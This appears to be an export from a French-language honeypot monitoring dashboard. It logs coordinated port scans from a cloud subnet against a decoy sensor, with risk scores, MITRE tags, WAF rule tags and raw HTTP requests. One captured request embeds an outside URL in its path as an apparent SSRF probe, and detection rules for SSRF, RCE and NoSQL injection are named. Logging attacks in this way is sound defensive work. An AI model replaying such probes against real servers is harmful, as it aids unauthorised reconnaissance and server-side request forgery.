"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port scan syn \u00b7 via HTTP:8001 \u00b7 (reconnaissance)",
"target_port_label": "8001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8001 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8001\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
82,
84,
4848,
8001
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:40 UTC
TCP
4848 · HTTP
Scan de ports
port scan syn · via HTTP:4848 · (reconnaissance) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Moyen · 64
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
4848
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:4848
Accept: */*
User-Agent: Moz
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:4848 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "6c10c3a3703440b9ab5cd67e0c64b7d2b757b007",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 246,
"payload_entropy": 5.5064066917530665,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 4848,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 64,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "d5987a74505b39ec43fc67032e67d67987f6acec",
"event_fingerprint": "8cf4ab3ff412b910eddd02143d563e0b22b2b61d",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 64,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d62f9126257acea93480862f0340b27f",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 4848,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Moz",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Moz",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Moz",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f8bcdc688d5188166c103831811e03b28c811cad",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 4848,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Moz",
"attack_vector": "port scan syn \u00b7 via HTTP:4848 \u00b7 (reconnaissance) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "4848 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 64,
"correlation_boost": 10
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 4848,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 4848,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:4848 \u00b7 (reconnaissance) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:4848\r\nAccept: *\/*\r\nUser-Agent: Moz",
"target_port_label": "4848 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "4848"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:19 UTC
TCP
84 · HTTP
Scan de ports
port scan syn · via HTTP:84 · (reconnaissance)
Élevée
Moyen · 55
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
84
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Moyen
· 55
Confiance : Confiance 100 % — 3 tag(s) WAF
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:84
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:84 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "de907e50aa859065aaba4f80e4cfc6d5e637955d",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 183,
"payload_entropy": 5.362007480645923,
"port_category": "well_known",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 84,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 55,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a6c91d04e9df230ea543aec7cc39bc9556689ada",
"event_fingerprint": "4a5b296d98a06ba8c427b3e907854ab74a0f3130",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "0ed3606057af37eaead8459a7381d3b1",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 84,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "788ee46fcee71640cb86dac52ac5af78994ae774",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 84,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"attack_vector": "port scan syn \u00b7 via HTTP:84 \u00b7 (reconnaissance)",
"target_port_label": "84 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 84,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 84,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:84 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:84\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"target_port_label": "84 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "84"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
82,
84,
8081,
10255
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
31/07/2026 15:08:05 UTC
TCP
82 · HTTP
Scan de ports
port scan syn · via HTTP:82 · (reconnaissance)
Élevée
Moyen · 55
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
